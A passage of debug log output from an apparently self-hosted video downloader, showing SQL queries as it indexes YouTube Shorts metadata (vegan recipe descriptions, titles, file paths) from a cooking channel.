date(?) AND (m0."source_id" = ?)) [~U[2022-05-18 15:00:33Z], 1] 20:30:21.250 [debug] QUERY OK source="media_items" db=0.8ms idle=1005.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["You can have your cheat meal and eat it too 😉 but #makeitvegan These LOADED VEGAN PEROGIES with SPICY CHORIZO are gluten-free and flavourFULL! \n\nVegan + gluten-free cheddar perogies \nVegan sour cream @realcanadiansuperstore \nVegan gluten-free chorizo @realcanadiansuperstore \nCaramelized onions\nDiced green onions\n\nSUBSCRIBE to @steamyvegankitchen for more easy vegan recipes! 🌱\n\n#steamyvegankitchen #steamyvegan #thriftymeals #thriftycooking #cheapvegan #cheapveganmeals #cheaplazyvegan #whatscooking #vancitybuzz #vancitybuzzfood #buzzfeedfoods #vancityvegan #vancityvegans #vancity #yvrvegan #easyveganmeals #lowwastye #lowwasteliving #lowwastecooking #lowwastekitchen #sustainablecook #sustainablecooking #pursuepretty #prettyfood", "LOADED VEGAN PEROGIES with SPICY CHORIZO 🥵", "0d412c92-1793-44e5-a4b0-c72dfdd4b515", 1, [], 15, false, "g39_M1HC8WI", "https://www.youtube.com/shorts/g39_M1HC8WI", 446, "/downloads/downloads/alec/Steamy Vegan/2022-05-18 LOADED VEGAN PEROGIES with SPICY CHORIZO 🥵/LOADED VEGAN PEROGIES with SPICY CHORIZO 🥵 [g39_M1HC8WI].NA", false, false, true, 2, ~U[2022-05-18 15:00:33Z], ~U[2026-03-22 03:30:21Z], ~U[2026-03-22 03:30:21Z], "You can have your cheat meal and eat it too 😉 but #makeitvegan These LOADED VEGAN PEROGIES with SPICY CHORIZO are gluten-free and flavourFULL! \n\nVegan + gluten-free cheddar perogies \nVegan sour cream @realcanadiansuperstore \nVegan gluten-free chorizo @realcanadiansuperstore \nCaramelized onions\nDiced green onions\n\nSUBSCRIBE to @steamyvegankitchen for more easy vegan recipes! 🌱\n\n#steamyvegankitchen #steamyvegan #thriftymeals #thriftycooking #cheapvegan #cheapveganmeals #cheaplazyvegan #whatscooking #vancitybuzz #vancitybuzzfood #buzzfeedfoods #vancityvegan #vancityvegans #vancity #yvrvegan #easyveganmeals #lowwastye #lowwasteliving #lowwastecooking #lowwastekitchen #sustainablecook #sustainablecooking #pursuepretty #prettyfood", "LOADED VEGAN PEROGIES with SPICY CHORIZO 🥵", 1, 15, false, "g39_M1HC8WI", "https://www.youtube.com/shorts/g39_M1HC8WI", "/downloads/downloads/alec/Steamy Vegan/2022-05-18 LOADED VEGAN PEROGIES with SPICY CHORIZO 🥵/LOADED VEGAN PEROGIES with SPICY CHORIZO 🥵 [g39_M1HC8WI].NA", true, ~U[2022-05-18 15:00:33Z]] 20:30:21.251 [debug] QUERY OK source="sources" db=0.5ms idle=595.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:30:21.251 [debug] QUERY OK source="media_profiles" db=0.5ms idle=5.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:30:21.252 [debug] QUERY OK source="media_items" db=0.5ms idle=5.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [835] 20:30:21.252 [debug] Current batch of media processed. Will check again in 1000ms 20:30:22.253 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Putting a vegan spin on one of my childhood favourites, tuna casserole! This will be your new fave dump and bake casserole I’m TELLIN YA 🤤\n\nSAVE THIS RECIPE FOR LATER! ✅\n\nINGREDIENTS \n1 cup uncooked brown rice\n2 cups coconut milk\n1 can of young green jackfruit\n1 can of chickpeas, drained and rinsed \n1 cup mushroom broth\n1 tablespoon sweet miso paste\n2 tbsp vegan butter\n1 tsp garlic powder\n1 tsp onion powder\n3/4 tsp salt \n4 nori snack sheets, roasted and salted \n1 cup frozen peas and carrot mix\n\n1. In a sauce pan, add the coconut milk, mushroom broth, miso paste, garlic and onion powder, and vegan butter and bring to a boil and stir until melted.\n2. Add the nori sheets and jackfruit to a food processor or blender and pulse until shredded and flaky, resembling canned tuna.\n3. In a casserole dish, combined the chickpeas, frozen peas and carrots and shredded jackfruit and stir until welcome bind. Evenly sprinkle the dry brown rice over top of the mixture. Then, pour over the liquid mixture and with a spoon gently press any uncovered rice into the liquid.\n4. Cover with foil and bake for one hour. ENJOY!!\n\nThis is seriously sooo good! Perfect side dish or weeknight meal that requires minimal effort. 😊 \n\nFollow @steamyvegankitchen for more easy vegan recipes! 🌱\n\n#steamyvegankitchen #steamyvegan #thriftymeals #thriftycooking #cheapvegan #cheapveganmeals #cheaplazyvegan #whatscooking #vancitybuzz #vancitybuzzfood #buzzfeedfoods #vancityvegan #vancityvegans #vancity #yvrvegan #easyveganmeals #lowwastye #lowwasteliving #lowwastecooking #lowwastekitchen #sustainablecook #sustainablecooking #pursuepretty #prettyfood\n\nMusic by Mark Generous - August Rush - https://thmatc.co/?l=25CE3565", "duration" => 59, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-05-18 VEGAN TUNA CASSEROLE 🥘 I veganized one of my FAVE childhood meals 🥹/VEGAN TUNA CASSEROLE 🥘 I veganized one of my FAVE childhood meals 🥹 [jtW5sSVmB58].NA", "id" => "jtW5sSVmB58", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/jtW5sSVmB58", "playlist_index" => 447, "timestamp" => 1652832012, "title" => "VEGAN TUNA CASSEROLE 🥘 I veganized one of my FAVE childhood meals 🥹", "upload_date" => "20220518"} 20:30:22.254 [debug] QUERY OK source="sources" db=0.8ms queue=0.1ms idle=1003.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:30:22.255 [debug] QUERY OK source="sources" db=0.3ms idle=1003.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:30:22.257 [debug] QUERY OK source="media_items" db=1.9ms idle=1003.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-18 00:00:12Z], 1] 20:30:22.259 [debug] QUERY OK source="media_items" db=1.7ms idle=1005.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Putting a vegan spin on one of my childhood favourites, tuna casserole! This will be your new fave dump and bake casserole I’m TELLIN YA 🤤\n\nSAVE THIS RECIPE FOR LATER! ✅\n\nINGREDIENTS \n1 cup uncooked brown rice\n2 cups coconut milk\n1 can of young green jackfruit\n1 can of chickpeas, drained and rinsed \n1 cup mushroom broth\n1 tablespoon sweet miso paste\n2 tbsp vegan butter\n1 tsp garlic powder\n1 tsp onion powder\n3/4 tsp salt \n4 nori snack sheets, roasted and salted \n1 cup frozen peas and carrot mix\n\n1. In a sauce pan, add the coconut milk, mushroom broth, miso paste, garlic and onion powder, and vegan butter and bring to a boil and stir until melted.\n2. Add the nori sheets and jackfruit to a food processor or blender and pulse until shredded and flaky, resembling canned tuna.\n3. In a casserole dish, combined the chickpeas, frozen peas and carrots and shredded jackfruit and stir until welcome bind. Evenly sprinkle the dry brown rice over top of the mixture. Then, pour over the liquid mixture and with a spoon gently press any uncovered rice into the liquid.\n4. Cover with foil and bake for one hour. ENJOY!!\n\nThis is seriously sooo good! Perfect side dish or weeknight meal that requires minimal effort. 😊 \n\nFollow @steamyvegankitchen for more easy vegan recipes! 🌱\n\n#steamyvegankitchen #steamyvegan #thriftymeals #thriftycooking #cheapvegan #cheapveganmeals #cheaplazyvegan #whatscooking #vancitybuzz #vancitybuzzfood #buzzfeedfoods #vancityvegan #vancityvegans #vancity #yvrvegan #easyveganmeals #lowwastye #lowwasteliving #lowwastecooking #lowwastekitchen #sustainablecook #sustainablecooking #pursuepretty #prettyfood\n\nMusic by Mark Generous - August Rush - https://thmatc.co/?l=25CE3565", "VEGAN TUNA CASSEROLE 🥘 I veganized one of my FAVE childhood meals 🥹", "0f809434-214e-4364-b5ab-aa0b04b772d8", 1, [], 59, false, "jtW5sSVmB58", "https://www.youtube.com/shorts/jtW5sSVmB58", 447, "/downloads/downloads/alec/Steamy Vegan/2022-05-18 VEGAN TUNA CASSEROLE 🥘 I veganized one of my FAVE childhood meals 🥹/VEGAN TUNA CASSEROLE 🥘 I veganized one of my FAVE childhood meals 🥹 [jtW5sSVmB58].NA", false, false, true, 3, ~U[2022-05-18 00:00:12Z], ~U[2026-03-22 03:30:22Z], ~U[2026-03-22 03:30:22Z], "Putting a vegan spin on one of my childhood favourites, tuna casserole! This will be your new fave dump and bake casserole I’m TELLIN YA 🤤\n\nSAVE THIS RECIPE FOR LATER! ✅\n\nINGREDIENTS \n1 cup uncooked brown rice\n2 cups coconut milk\n1 can of young green jackfruit\n1 can of chickpeas, drained and rinsed \n1 cup mushroom broth\n1 tablespoon sweet miso paste\n2 tbsp vegan butter\n1 tsp garlic powder\n1 tsp onion powder\n3/4 tsp salt \n4 nori snack sheets, roasted and salted \n1 cup frozen peas and carrot mix\n\n1. In a sauce pan, add the coconut milk, mushroom broth, miso paste, garlic and onion powder, and vegan butter and bring to a boil and stir until melted.\n2. Add the nori sheets and jackfruit to a food processor or blender and pulse until shredded and flaky, resembling canned tuna.\n3. In a casserole dish, combined the chickpeas, frozen peas and carrots and shredded jackfruit and stir until welcome bind. Evenly sprinkle the dry brown rice over top of the mixture. Then, pour over the liquid mixture and with a spoon gently press any uncovered rice into the liquid.\n4. Cover with foil and bake for one hour. ENJOY!!\n\nThis is seriously sooo good! Perfect side dish or weeknight meal that requires minimal effort. 😊 \n\nFollow @steamyvegankitchen for more easy vegan recipes! 🌱\n\n#steamyvegankitchen #steamyvegan #thriftymeals #thriftycooking #cheapvegan #cheapveganmeals #cheaplazyvegan #whatscooking #vancitybuzz #vancitybuzzfood #buzzfeedfoods #vancityvegan #vancityvegans #vancity #yvrvegan #easyveganmeals #lowwastye #lowwasteliving #lowwastecooking #lowwastekitchen #sustainablecook #sustainablecooking #pursuepretty #prettyfood\n\nMusic by Mark Generous - August Rush - https://thmatc.co/?l=25CE3565", "VEGAN TUNA CASSEROLE 🥘 I veganized one of my FAVE childhood meals 🥹", 1, 59, false, "jtW5sSVmB58", "https://www.youtube.com/shorts/jtW5sSVmB58", "/downloads/downloads/alec/Steamy Vegan/2022-05-18 VEGAN TUNA CASSEROLE 🥘 I veganized one of my FAVE childhood meals 🥹/VEGAN TUNA CASSEROLE 🥘 I veganized one of my FAVE childhood meals 🥹 [jtW5sSVmB58].NA", true, ~U[2022-05-18 00:00:12Z]] 20:30:22.260 [debug] QUERY OK source="sources" db=0.3ms idle=602.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:30:22.261 [debug] QUERY OK source="media_profiles" db=0.4ms idle=5.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:30:22.262 [debug] QUERY OK source="media_items" db=0.6ms idle=5.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [836] 20:30:22.262 [debug] Current batch of media processed. Will check again in 1000ms 20:30:23.263 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "You know you've all been there: you're too busy, rushed for time, or are out of coffee at home and you don't get that all important morning coffee. I decided to mash up these Will Ferrell clips from the movie Old School as they perfectly reflect how I'm sure most of you feel when you don't get that morning coffee.\n\nEnjoy and don't forget to subscribe to my channel if you enjoy delicious plant-based and gluten-free recipes with some occasional comedy and laughs mixed in.", "duration" => 20, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-05-17 Me When I Don't Get My Morning Coffee #shorts/Me When I Don't Get My Morning Coffee #shorts [JLMVwCzxPC4].NA", "id" => "JLMVwCzxPC4", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/JLMVwCzxPC4", "playlist_index" => 448, "timestamp" => 1652806818, "title" => "Me When I Don't Get My Morning Coffee #shorts", "upload_date" => "20220517"} 20:30:23.264 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=1004.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:30:23.265 [debug] QUERY OK source="sources" db=0.3ms idle=1004.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:30:23.268 [debug] QUERY OK source="media_items" db=2.3ms idle=1004.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-17 17:00:18Z], 1] 20:30:23.269 [debug] QUERY OK source="media_items" db=0.8ms idle=1006.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["You know you've all been there: you're too busy, rushed for time, or are out of coffee at home and you don't get that all important morning coffee. I decided to mash up these Will Ferrell clips from the movie Old School as they perfectly reflect how I'm sure most of you feel when you don't get that morning coffee.\n\nEnjoy and don't forget to subscribe to my channel if you enjoy delicious plant-based and gluten-free recipes with some occasional comedy and laughs mixed in.", "Me When I Don't Get My Morning Coffee #shorts", "50d3fde5-39ee-4844-9417-6ced3d28dc17", 1, [], 20, false, "JLMVwCzxPC4", "https://www.youtube.com/shorts/JLMVwCzxPC4", 448, "/downloads/downloads/alec/Steamy Vegan/2022-05-17 Me When I Don't Get My Morning Coffee #shorts/Me When I Don't Get My Morning Coffee #shorts [JLMVwCzxPC4].NA", false, false, true, 0, ~U[2022-05-17 17:00:18Z], ~U[2026-03-22 03:30:23Z], ~U[2026-03-22 03:30:23Z], "You know you've all been there: you're too busy, rushed for time, or are out of coffee at home and you don't get that all important morning coffee. I decided to mash up these Will Ferrell clips from the movie Old School as they perfectly reflect how I'm sure most of you feel when you don't get that morning coffee.\n\nEnjoy and don't forget to subscribe to my channel if you enjoy delicious plant-based and gluten-free recipes with some occasional comedy and laughs mixed in.", "Me When I Don't Get My Morning Coffee #shorts", 1, 20, false, "JLMVwCzxPC4", "https://www.youtube.com/shorts/JLMVwCzxPC4", "/downloads/downloads/alec/Steamy Vegan/2022-05-17 Me When I Don't Get My Morning Coffee #shorts/Me When I Don't Get My Morning Coffee #shorts [JLMVwCzxPC4].NA", true, ~U[2022-05-17 17:00:18Z]] 20:30:23.270 [debug] QUERY OK source="sources" db=0.2ms idle=610.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:30:23.270 [debug] QUERY OK source="media_profiles" db=0.3ms idle=5.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:30:23.271 [debug] QUERY OK source="media_items" db=0.2ms idle=5.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [837] 20:30:23.271 [debug] Current batch of media processed. Will check again in 1000ms 20:30:24.272 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "LAZY WHITE BEAN + VEGGIE RISOTTO 🍚 vegan and gluten-free, baby 💥 \n\nRisotto does NOT have to take long to make nor do you have to stand over your stove constantly monitoring it. \n\nINGREDIENTS - SAVE THIS FOR LATER! ✅ \n1.5 cups arborio rice\n3 cups hot mushroom broth\n1/2 yellow onion, diced\n3 cloves garlic, minced\n2 cups white mushrooms, roughy chopped\n1.5 cups fresh or frozen squashed, diced (butternut, kabocha, hubbard)\n1 can white kidney beans\n2 cups spinach, packed\n3 tbsp nutritional yeast\nSalt and pepper to taste\nTruffe powder/oil to garnish\n\n1. Saute a little bit of onion and garlic with a splash of broth until soft and fragrant, and then toss in some mushrooms, squash and canned white kidney beans. \n2. Stir in the arborio rice until everything is nicely combined, and then pour in your hot mushroom broth. Cover with a lid and stir occasionally, for about 20-25 minutes. \n3. Once the rice is soft and cooked, add some salt and pepper, a little nutritional yeast for extra flavour and if you have it, some truffle powder or oil. \n4. Stir in those flavours and finally, fold in the spinach and cover for a few minutes to let it wilt down a little. SERVE + ENJOY! \n\nThis risotto is so filling, delicious and only requires one pot. Plus, it’s a nice way to use up those random veggies in your fridge waiting to die. 😊\n\nFollow @steamyvegankitchen for more easy vegan recipes! 🌱\n\n#risotto #veganrisotto #glutenfreeeats #glutenfreedairyfree #veganhacks steamyvegankitchen #steamyvegan #thriftymeals #thriftycooking #cheapvegan #cheapveganmeals #cheaplazyvegan #whatscooking #vancitybuzz #vancitybuzzfood #buzzfeedfoods #vancityvegan #vancityvegans #vancity #yvrvegan #easyveganmeals #lowwaste #lowwasteliving #lowwastecooking #lowwastekitchen #sustainablecook #sustainablecooking #pursuepretty #prettyfood\n\nMusic by Nasir Ibrahim - balance - https://thmatc.co/?l=0DC758A8", "duration" => 60, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-05-17 LAZY WHITE BEAN & VEGGIE RISOTTO 🤤 vegan and gluten-free!/LAZY WHITE BEAN & VEGGIE RISOTTO 🤤 vegan and gluten-free! [9Ldug34i_90].NA", "id" => "9Ldug34i_90", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/9Ldug34i_90", "playlist_index" => 449, "timestamp" => 1652798868, "title" => "LAZY WHITE BEAN & VEGGIE RISOTTO 🤤 vegan and gluten-free!", "upload_date" => "20220517"} 20:30:24.273 [debug] QUERY OK source="sources" db=0.5ms idle=1003.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:30:24.274 [debug] QUERY OK source="sources" db=0.8ms idle=1003.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:30:24.277 [debug] QUERY OK source="media_items" db=2.4ms idle=1004.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-17 14:47:48Z], 1] 20:30:24.279 [debug] QUERY OK source="media_items" db=1.3ms idle=1006.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["LAZY WHITE BEAN + VEGGIE RISOTTO 🍚 vegan and gluten-free, baby 💥 \n\nRisotto does NOT have to take long to make nor do you have to stand over your stove constantly monitoring it. \n\nINGREDIENTS - SAVE THIS FOR LATER! ✅ \n1.5 cups arborio rice\n3 cups hot mushroom broth\n1/2 yellow onion, diced\n3 cloves garlic, minced\n2 cups white 